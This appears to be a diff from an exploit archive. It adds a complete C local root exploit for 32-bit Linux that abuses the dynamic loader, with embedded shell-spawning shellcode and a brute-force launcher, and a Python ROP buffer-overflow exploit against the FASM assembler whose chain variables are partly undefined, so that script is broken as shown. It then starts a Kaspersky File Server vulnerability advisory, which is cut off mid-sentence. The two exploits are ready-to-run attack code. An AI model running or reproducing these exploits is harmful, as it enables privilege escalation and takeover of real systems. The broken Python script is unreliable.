#define _GNU_SOURCE
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <link.h>
|
||||
#include <signal.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define PAGESZ ((size_t)4096)
|
||||
#define ALIGN ((size_t)16)
|
||||
|
||||
#define PIE_BASE ((uintptr_t)0x80000000)
|
||||
#define PIE_RAND ((size_t)1<<20)
|
||||
|
||||
#define STACK_BASE ((uintptr_t)0xC0000000)
|
||||
#define STACK_RAND ((size_t)8<<20)
|
||||
|
||||
#define MAX_ARG_STRLEN ((size_t)128<<10)
|
||||
|
||||
static const struct target * target;
|
||||
static const struct target {
|
||||
const char * name;
|
||||
const char * repl_lib;
|
||||
} targets[] = {
|
||||
{
|
||||
.name = "Debian 9 (stretch)",
|
||||
.repl_lib = "lib/i386-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Debian 10 (buster)",
|
||||
.repl_lib = "lib/i386-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Ubuntu 14.04.5 (Trusty Tahr)",
|
||||
.repl_lib = "lib/i386-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
|
||||
.repl_lib = "lib/i386-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Ubuntu 17.04 (Zesty Zapus)",
|
||||
.repl_lib = "lib/i386-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Fedora 23 (Server Edition)",
|
||||
.repl_lib = "lib",
|
||||
},
|
||||
{
|
||||
.name = "Fedora 24 (Server Edition)",
|
||||
.repl_lib = "lib",
|
||||
},
|
||||
{
|
||||
.name = "Fedora 25 (Server Edition)",
|
||||
.repl_lib = "lib",
|
||||
},
|
||||
};
|
||||
|
||||
#define die() do { \
|
||||
printf("died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static const ElfW(auxv_t) * my_auxv;
|
||||
|
||||
static unsigned long int
|
||||
my_getauxval (const unsigned long int type)
|
||||
{
|
||||
const ElfW(auxv_t) * p;
|
||||
|
||||
if (!my_auxv) die();
|
||||
for (p = my_auxv; p->a_type != AT_NULL; p++)
|
||||
if (p->a_type == type)
|
||||
return p->a_un.a_val;
|
||||
die();
|
||||
}
|
||||
|
||||
struct elf_info {
|
||||
uintptr_t map_start, map_end;
|
||||
uintptr_t dyn_start, dyn_end;
|
||||
};
|
||||
|
||||
static struct elf_info
|
||||
get_elf_info(const char * const binary)
|
||||
{
|
||||
static struct elf_info elf;
|
||||
const int fd = open(binary, O_RDONLY | O_NOFOLLOW);
|
||||
if (fd <= -1) die();
|
||||
struct stat st;
|
||||
if (fstat(fd, &st)) die();
|
||||
if (!S_ISREG(st.st_mode)) die();
|
||||
if (st.st_size <= 0) die();
|
||||
#define SAFESZ ((size_t)64<<20)
|
||||
if (st.st_size >= (ssize_t)SAFESZ) die();
|
||||
const size_t size = st.st_size;
|
||||
uint8_t * const buf = malloc(size);
|
||||
if (!buf) die();
|
||||
if (read(fd, buf, size) != (ssize_t)size) die();
|
||||
if (close(fd)) die();
|
||||
|
||||
if (size <= sizeof(ElfW(Ehdr))) die();
|
||||
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
|
||||
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
|
||||
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
|
||||
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
|
||||
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
|
||||
if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
|
||||
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
|
||||
if (ehdr->e_type != ET_DYN) die();
|
||||
if (ehdr->e_machine != EM_386) die();
|
||||
if (ehdr->e_version != EV_CURRENT) die();
|
||||
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
|
||||
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
|
||||
if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
|
||||
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
|
||||
if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
|
||||
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
|
||||
if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();
|
||||
|
||||
unsigned int i;
|
||||
{
|
||||
int interp = 0;
|
||||
for (i = 0; i < ehdr->e_phnum; i++) {
|
||||
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
|
||||
if (phdr->p_type == PT_INTERP) interp = 1;
|
||||
if (phdr->p_type != PT_LOAD) continue;
|
||||
if (elf.map_start) die();
|
||||
|
||||
if (phdr->p_offset >= size) die();
|
||||
if (phdr->p_filesz > size - phdr->p_offset) die();
|
||||
if (phdr->p_filesz > phdr->p_memsz) die();
|
||||
if (phdr->p_vaddr != phdr->p_paddr) die();
|
||||
if (phdr->p_vaddr >= SAFESZ) die();
|
||||
if (phdr->p_memsz >= SAFESZ) die();
|
||||
if (phdr->p_memsz <= 0) die();
|
||||
if (phdr->p_align != PAGESZ) die();
|
||||
|
||||
switch (phdr->p_flags) {
|
||||
case PF_R | PF_X:
|
||||
if (phdr->p_vaddr) die();
|
||||
break;
|
||||
case PF_R | PF_W:
|
||||
elf.map_start = phdr->p_vaddr & ~(PAGESZ-1);
|
||||
elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
|
||||
if (!elf.map_start) die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
}
|
||||
if (!interp) die();
|
||||
if (!elf.map_start) die();
|
||||
}
|
||||
for (i = 0; i < ehdr->e_shnum; i++) {
|
||||
const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
|
||||
if (!(shdr->sh_flags & SHF_ALLOC)) continue;
|
||||
if (shdr->sh_size <= 0) die();
|
||||
if (shdr->sh_size >= SAFESZ) die();
|
||||
if (shdr->sh_addr >= SAFESZ) die();
|
||||
#undef SAFESZ
|
||||
const uintptr_t start = shdr->sh_addr;
|
||||
const uintptr_t end = start + shdr->sh_size;
|
||||
|
||||
if (!(shdr->sh_flags & SHF_WRITE)) {
|
||||
if (start < elf.map_end && end > elf.map_start) die();
|
||||
continue;
|
||||
}
|
||||
if (start < elf.map_start || end > elf.map_end) die();
|
||||
if (shdr->sh_type != SHT_DYNAMIC) continue;
|
||||
if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();
|
||||
|
||||
if (elf.dyn_start) die();
|
||||
elf.dyn_start = start;
|
||||
elf.dyn_end = end;
|
||||
if (!elf.dyn_start) die();
|
||||
}
|
||||
if (!elf.dyn_start) die();
|
||||
free(buf);
|
||||
return elf;
|
||||
}
|
||||
|
||||
static void
|
||||
create_needed_lib(const char * const needed)
|
||||
{
|
||||
static struct lib {
|
||||
union {
|
||||
struct {
|
||||
ElfW(Ehdr) e;
|
||||
ElfW(Phdr) p1;
|
||||
ElfW(Phdr) p2;
|
||||
ElfW(Phdr) p3;
|
||||
} h;
|
||||
char align[PAGESZ];
|
||||
} u;
|
||||
char code1[PAGESZ];
|
||||
char code3[PAGESZ];
|
||||
char code2[8<<20];
|
||||
} lib = { .u = { .h = {
|
||||
.e = {
|
||||
.e_ident = {
|
||||
ELFMAG0,
|
||||
ELFMAG1,
|
||||
ELFMAG2,
|
||||
ELFMAG3,
|
||||
ELFCLASS32,
|
||||
ELFDATA2LSB,
|
||||
EV_CURRENT,
|
||||
ELFOSABI_SYSV,
|
||||
0
|
||||
},
|
||||
.e_type = ET_DYN,
|
||||
.e_machine = EM_386,
|
||||
.e_version = EV_CURRENT,
|
||||
.e_phoff = offsetof(struct lib, u.h.p1),
|
||||
.e_ehsize = sizeof(ElfW(Ehdr)),
|
||||
.e_phentsize = sizeof(ElfW(Phdr)),
|
||||
.e_phnum = 3
|
||||
},
|
||||
.p1 = {
|
||||
.p_type = PT_LOAD,
|
||||
.p_offset = offsetof(struct lib, code1),
|
||||
.p_vaddr = 0,
|
||||
.p_filesz = sizeof(lib.code1),
|
||||
.p_memsz = sizeof(lib.code1),
|
||||
.p_flags = PF_R | PF_X,
|
||||
.p_align = PAGESZ
|
||||
},
|
||||
.p2 = {
|
||||
.p_type = PT_LOAD,
|
||||
.p_offset = offsetof(struct lib, code2),
|
||||
.p_vaddr = -(sizeof(lib.code2) + PAGESZ),
|
||||
.p_filesz = sizeof(lib.code2),
|
||||
.p_memsz = sizeof(lib.code2),
|
||||
.p_flags = PF_R | PF_X,
|
||||
.p_align = PAGESZ
|
||||
},
|
||||
.p3 = {
|
||||
.p_type = PT_LOAD,
|
||||
.p_offset = offsetof(struct lib, code3),
|
||||
.p_vaddr = sizeof(lib.code1),
|
||||
.p_filesz = sizeof(lib.code3),
|
||||
.p_memsz = sizeof(lib.code3),
|
||||
.p_flags = PF_R | PF_X,
|
||||
.p_align = PAGESZ
|
||||
}
|
||||
}}};
|
||||
|
||||
static const char shellcode[] =
|
||||
"\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8"
|
||||
"\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00"
|
||||
"\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00"
|
||||
"\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00"
|
||||
"\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00"
|
||||
"\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
|
||||
"\x00\x00\x00\xcd\x80";
|
||||
|
||||
memset(lib.code2, 0x90, sizeof(lib.code2));
|
||||
if (sizeof(lib.code2) <= sizeof(shellcode)) die();
|
||||
memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode));
|
||||
|
||||
const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
|
||||
if (fd <= -1) die();
|
||||
if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die();
|
||||
if (fchmod(fd, 0755)) die();
|
||||
if (close(fd)) die();
|
||||
}
|
||||
|
||||
static const char my_x86_platforms[4][5] = {
|
||||
"i386", "i486", "i586", "i686"
|
||||
};
|
||||
|
||||
int
|
||||
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
|
||||
{
|
||||
{
|
||||
const char * const * p = my_envp;
|
||||
while (*p++) ;
|
||||
my_auxv = (const void *)p;
|
||||
}
|
||||
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
|
||||
|
||||
if (my_argc != 1+2) {
|
||||
printf("Usage: %s target binary\n", my_argv[0]);
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
|
||||
printf("Target %zu %s\n", i, targets[i].name);
|
||||
}
|
||||
die();
|
||||
}
|
||||
{
|
||||
const size_t i = strtoul(my_argv[1], NULL, 10);
|
||||
if (i >= sizeof(targets)/sizeof(*targets)) die();
|
||||
target = targets + i;
|
||||
printf("Target %zu %s\n", i, target->name);
|
||||
}
|
||||
const char * const binary = realpath(my_argv[2], NULL);
|
||||
if (!binary) die();
|
||||
if (*binary != '/') die();
|
||||
if (access(binary, R_OK | X_OK)) die();
|
||||
|
||||
const struct elf_info elf = get_elf_info(binary);
|
||||
printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start);
|
||||
printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start);
|
||||
printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start);
|
||||
printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end);
|
||||
|
||||
const char * const slash = strrchr(binary, '/');
|
||||
if (!slash) die();
|
||||
if (slash <= binary) die();
|
||||
const char * const origin = strndup(binary, slash - binary);
|
||||
if (!origin) die();
|
||||
printf("origin %s (%zu)\n", origin, strlen(origin));
|
||||
|
||||
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
|
||||
if (!platform) die();
|
||||
const size_t platform_len = strlen(platform);
|
||||
if (platform_len != 4) die();
|
||||
{
|
||||
size_t i;
|
||||
for (i = 0; ; i++) {
|
||||
if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
|
||||
if (strcmp(platform, my_x86_platforms[i]) == 0) break;
|
||||
}
|
||||
}
|
||||
const struct {
|
||||
const char * str;
|
||||
size_t len;
|
||||
size_t repl_len;
|
||||
} DSTs[] = {
|
||||
#define DST_LIB "LIB"
|
||||
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
|
||||
#define DST_PLATFORM "PLATFORM"
|
||||
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
|
||||
};
|
||||
size_t repl_max = strlen(origin);
|
||||
{
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
|
||||
if (repl_max < DSTs[i].repl_len)
|
||||
repl_max = DSTs[i].repl_len;
|
||||
}
|
||||
}
|
||||
printf("repl_max %zu\n", repl_max);
|
||||
if (repl_max < 4) die();
|
||||
|
||||
static struct {
|
||||
double probability;
|
||||
size_t len, gwr, cnt, dst;
|
||||
} best;
|
||||
|
||||
#define LLP "LD_LIBRARY_PATH="
|
||||
static char llp[MAX_ARG_STRLEN];
|
||||
#define MAX_GWR (sizeof(llp) - sizeof(LLP))
|
||||
{
|
||||
size_t len;
|
||||
for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) {
|
||||
size_t gwr;
|
||||
for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) {
|
||||
size_t dst;
|
||||
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
|
||||
const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1);
|
||||
const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1);
|
||||
const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;
|
||||
|
||||
if (gwr + bwr >= elf.map_end - elf.dyn_start) continue;
|
||||
const size_t min = MIN(gwr, elf.dyn_end - elf.map_start);
|
||||
if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue;
|
||||
|
||||
const double probability = (double)min / (double)(PIE_RAND + STACK_RAND);
|
||||
if (best.probability < probability) {
|
||||
best.probability = probability;
|
||||
best.len = len;
|
||||
best.gwr = gwr;
|
||||
best.cnt = cnt;
|
||||
best.dst = dst;
|
||||
printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n",
|
||||
len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!best.probability) die();
|
||||
if (STACK_BASE <= PIE_BASE) die();
|
||||
const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2);
|
||||
printf("stack_size %zu\n", stack_size);
|
||||
|
||||
#define STRTAB_SIZE (2 * STACK_RAND)
|
||||
#define NEEDED "./3456789abcdef"
|
||||
if (sizeof(NEEDED) != ALIGN) die();
|
||||
static union {
|
||||
uintptr_t p;
|
||||
char s[sizeof(void *)];
|
||||
} strtab_addr;
|
||||
{
|
||||
static const ElfW(Dyn) dyn;
|
||||
if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die();
|
||||
if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die();
|
||||
if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die();
|
||||
}
|
||||
{
|
||||
uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2;
|
||||
const uintptr_t first_needed_addr = needed_addr;
|
||||
for (;; needed_addr += sizeof(NEEDED)) {
|
||||
if (needed_addr % sizeof(NEEDED)) die();
|
||||
strtab_addr.p = needed_addr / 2;
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(strtab_addr.s); i++) {
|
||||
if (strchr("$:;\\", strtab_addr.s[i])) {
|
||||
if (i >= 3) die();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (i >= sizeof(strtab_addr.s)) break;
|
||||
}
|
||||
printf("needed %08x -> %08x (first %08x -> %08x)\n",
|
||||
needed_addr, strtab_addr.p, first_needed_addr,
|
||||
needed_addr - first_needed_addr);
|
||||
if (needed_addr < first_needed_addr) die();
|
||||
if (needed_addr - first_needed_addr >= STACK_RAND / 4) die();
|
||||
}
|
||||
#define INITIAL_STACK_EXPANSION (131072UL)
|
||||
const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED);
|
||||
if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die();
|
||||
|
||||
static char clash[MAX_ARG_STRLEN];
|
||||
memset(clash, ' ', sizeof(clash)-1);
|
||||
if ((strlen(clash) + 1) % ALIGN) die();
|
||||
const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED)))
|
||||
/ (sizeof(char *) + sizeof(clash));
|
||||
printf("#needed %zu #clash %zu\n", needed_envs, clash_envs);
|
||||
|
||||
{
|
||||
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
|
||||
memset(cp, '/', best.len);
|
||||
const char * const bwrp = cp + best.gwr;
|
||||
cp += elf.dyn_start % ALIGN;
|
||||
if (cp >= bwrp) die();
|
||||
{
|
||||
static const ElfW(Dyn) dyn;
|
||||
for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) {
|
||||
ElfW(Dyn) * const dynp = (void *)cp;
|
||||
dynp->d_tag = DT_AUXILIARY;
|
||||
dynp->d_un.d_ptr = strtab_addr.p;
|
||||
}
|
||||
}
|
||||
if (cp > bwrp) die();
|
||||
cp = (char *)bwrp;
|
||||
if (!best.cnt) die();
|
||||
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
|
||||
size_t i;
|
||||
for (i = 0; i < best.cnt; i++) {
|
||||
*cp++ = '$';
|
||||
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
|
||||
*cp++ = '/';
|
||||
}
|
||||
if (cp >= llp + sizeof(llp)) die();
|
||||
if ((strlen(llp) + 1) % ALIGN) die();
|
||||
if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die();
|
||||
}
|
||||
|
||||
#define LHCM "LD_HWCAP_MASK="
|
||||
static char lhcm[64];
|
||||
{
|
||||
const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN;
|
||||
if (width <= 0) die();
|
||||
if ((unsigned int)width > ALIGN) die();
|
||||
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0)
|
||||
>= sizeof(lhcm)) die();
|
||||
if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die();
|
||||
}
|
||||
|
||||
const size_t args = 2 + clash_envs + needed_envs + 1;
|
||||
char ** const argv = calloc(args, sizeof(char *));
|
||||
if (!argv) die();
|
||||
{
|
||||
char ** ap = argv;
|
||||
*ap++ = (char *)binary;
|
||||
*ap++ = "--help";
|
||||
size_t i;
|
||||
for (i = 0; i < clash_envs; i++) {
|
||||
*ap++ = clash;
|
||||
}
|
||||
for (i = 0; i < needed_envs; i++) {
|
||||
*ap++ = NEEDED;
|
||||
}
|
||||
*ap++ = NULL;
|
||||
if (ap != argv + args) die();
|
||||
}
|
||||
|
||||
const size_t envs = 1 + 2;
|
||||
char ** const envp = calloc(envs, sizeof(char *));
|
||||
if (!envp) die();
|
||||
{
|
||||
char ** ep = envp;
|
||||
*ep++ = llp;
|
||||
*ep++ = lhcm;
|
||||
*ep++ = NULL;
|
||||
if (ep != envp + envs) die();
|
||||
}
|
||||
|
||||
{
|
||||
static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
|
||||
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
|
||||
}
|
||||
int pipefd[2];
|
||||
if (pipe(pipefd)) die();
|
||||
if (close(pipefd[0])) die();
|
||||
pipefd[0] = -1;
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
|
||||
create_needed_lib(NEEDED);
|
||||
|
||||
size_t try;
|
||||
for (try = 1; try <= 65536; try++) {
|
||||
if (fflush(stdout)) die();
|
||||
const pid_t pid = fork();
|
||||
if (pid <= -1) die();
|
||||
if (pid == 0) {
|
||||
if (dup2(pipefd[1], 1) != 1) die();
|
||||
if (dup2(pipefd[1], 2) != 2) die();
|
||||
execve(*argv, argv, envp);
|
||||
die();
|
||||
}
|
||||
int status = 0;
|
||||
struct timeval start, stop, diff;
|
||||
if (gettimeofday(&start, NULL)) die();
|
||||
if (waitpid(pid, &status, WUNTRACED) != pid) die();
|
||||
if (gettimeofday(&stop, NULL)) die();
|
||||
timersub(&stop, &start, &diff);
|
||||
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
printf("signal %d\n", WTERMSIG(status));
|
||||
switch (WTERMSIG(status)) {
|
||||
case SIGPIPE:
|
||||
case SIGSEGV:
|
||||
case SIGBUS:
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
} else if (WIFEXITED(status)) {
|
||||
printf("exited %d\n", WEXITSTATUS(status));
|
||||
} else if (WIFSTOPPED(status)) {
|
||||
printf("stopped %d\n", WSTOPSIG(status));
|
||||
die();
|
||||
} else {
|
||||
printf("unknown %d\n", status);
|
||||
die();
|
||||
}
|
||||
}
|
||||
die();
|
||||
}
|
82
platforms/linux/local/42265.py
Executable file
82
platforms/linux/local/42265.py
Executable file
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/python
|
||||
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
|
||||
#
|
||||
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
|
||||
# Tested on: GNU/Linux - Kali 2017.1 Release
|
||||
#
|
||||
# What is FASM?
|
||||
# Flat assembler is a fast, self-compilable assembly language compiler for the
|
||||
# x86 and x86-64 architecture processors, which does multiple passes to optimize
|
||||
# the size of generated machine code.
|
||||
#
|
||||
# Impact: FASM ( Flat Assembler ) 1.7.21 and prior is prone to a stack-based buffer overflow
|
||||
# vulnerability because the application fails to perform adequate
|
||||
# boundary-checks on user-supplied input.
|
||||
#
|
||||
# An attacker could exploit this vulnerability to execute arbitrary code in the
|
||||
# context of the application. Failed exploit attempts will result in a
|
||||
# denial-of-service condition.
|
||||
#
|
||||
# Version: 1.71.21
|
||||
# Architecture: i386
|
||||
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
|
||||
#
|
||||
# Vendor homepage: http://www.flatassembler.net`
|
||||
#
|
||||
import os,subprocess
|
||||
from struct import pack
|
||||
|
||||
# EIP found at offset: 5895
|
||||
# Entry point: 0x8048d68
|
||||
# Canary: off
|
||||
# Fortify: off
|
||||
# NX: Enabled
|
||||
# PIE: off
|
||||
# Relro: Partial
|
||||
|
||||
junk = 'A' * 5895
|
||||
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
|
||||
execve_rop += pack('<I', 0x0810b060) # @ .data
|
||||
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
|
||||
execve_rop += '/bin'
|
||||
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
|
||||
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
|
||||
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
|
||||
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
|
||||
execve_rop += '//sh'
|
||||
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
|
||||
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
|
||||
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
|
||||
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
|
||||
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
|
||||
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
|
||||
execve_rop += pack('<I', 0x0810b060) # @ .data
|
||||
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
|
||||
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
|
||||
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
|
||||
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
|
||||
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
|
||||
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
|
||||
buffer = junk + chain_rop
|
||||
|
||||
try:
|
||||
print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
|
||||
print("[*] Please wait.. running")
|
||||
subprocess.call(["fasm", buffer])
|
||||
except OSError as e:
|
||||
if e.errno == os.errno.ENOENT:
|
||||
print "[*] FASM not found!"
|
||||
else:
|
||||
print "[*] Error executing exploit"
|
||||
raise
|
290
platforms/linux/webapps/42269.txt
Executable file
290
platforms/linux/webapps/42269.txt
Executable file
|
@ -0,0 +1,290 @@
|
|||
1. *Advisory Information*
|
||||
|
||||
Title: Kaspersky Anti-Virus File Server Multiple Vulnerabilities
|
||||
Advisory ID: CORE-2017-0003
|
||||
Advisory URL: http://www.coresecurity.com/advisories/Kaspersky-Anti-Virus-File-Server-Multiple-Vulnerabilities
|
||||
Date published: 2017-06-28
|
||||
Date of last update: 2017-06-28
|
||||
Vendors contacted: Kaspersky
|
||||
Release mode: Forced release
|
||||
|
||||
2. *Vulnerability Information*
|
||||
|
||||
Class: Improper Neutralization of Input During Web Page Generation
|
||||
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery [CWE-352],
|
||||
Improper Privilege Management [CWE-269], Improper Limitation of a
|
||||
Pathname to a Restricted Directory [CWE-22]
|
||||
Impact: Code execution, Security bypass, Information leak
|
||||
Remotely Exploitable: Yes
|
||||
Locally Exploitable: Yes
|
||||
CVE Name: CVE-2017-9813, CVE-2017-9810, CVE-2017-9811, CVE-2017-9812
|
||||
|
||||
3. *Vulnerability Description*
|
||||
|
||||
From Kaspersky Lab's website:
|
||||
"Large corporate networks that use file servers running on different
|
||||
platforms can be a real headache when it comes to antivirus protection.
|
||||
Kaspersky Anti-Virus for Linux File Server is part of our range of new
|
||||
and refreshed products, solutions and services for heterogeneous
|
||||
networks. It provides a superior protection with Samba server
|
||||
integration and other features that can protect workstations and file
|
||||
servers in even the most complex heterogeneous networks. It is also
|
||||
certified VMware Ready and supports current versions of FreeBSD for
|
||||
integrated, future-proof protection."
|
||||
|
||||
Multiple vulnerabilities were found in the Kaspersky Anti-Virus for
|
||||
Linux File Server [2] Web Management Console. It is possible for a
|
||||
remote attacker to abuse these vulnerabilities and gain command
|
||||
execution as root.
|
||||
|
||||
4. *Vulnerable Packages*
|
||||
|
||||
. Kaspersky Anti-Virus for Linux File Server 8.0.3.297 [2]
|
||||
Other products and versions might be affected, but they were not tested.
|
||||
|
||||
5. *Vendor Information, Solutions and Workarounds*
|
||||
|
||||
Kaspersky [1] published the following Maintenance Pack:
|
||||
. Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312):
|
||||
https://support.kaspersky.com/13738/
|
||||
|
||||
6. *Credits*
|
||||
|
||||
This vulnerability was discovered and researched by Leandro Barragan
|
||||
and Maximiliano Vidal from Core Security Consulting Services. The
|
||||
publication of this advisory was coordinated by Alberto Solino from
|
||||
Core Advisories Team.
|
||||
|
||||
7. *Technical Description / Proof of Concept Code*
|
||||
|
||||
Kaspersky Anti-virus for Linux File Server comes bundled with a Web
|
||||
Management Console to monitor the application's status and manage its
|
||||
operation.
|
||||
|
||||
One specific feature allows configuring shell scripts to be executed
|
||||
when certain events occur. This functionality is vulnerable to
|
||||
cross-site request forgery, allowing code execution in the context of
|
||||
the web application as the kluser account. The vulnerability is
|
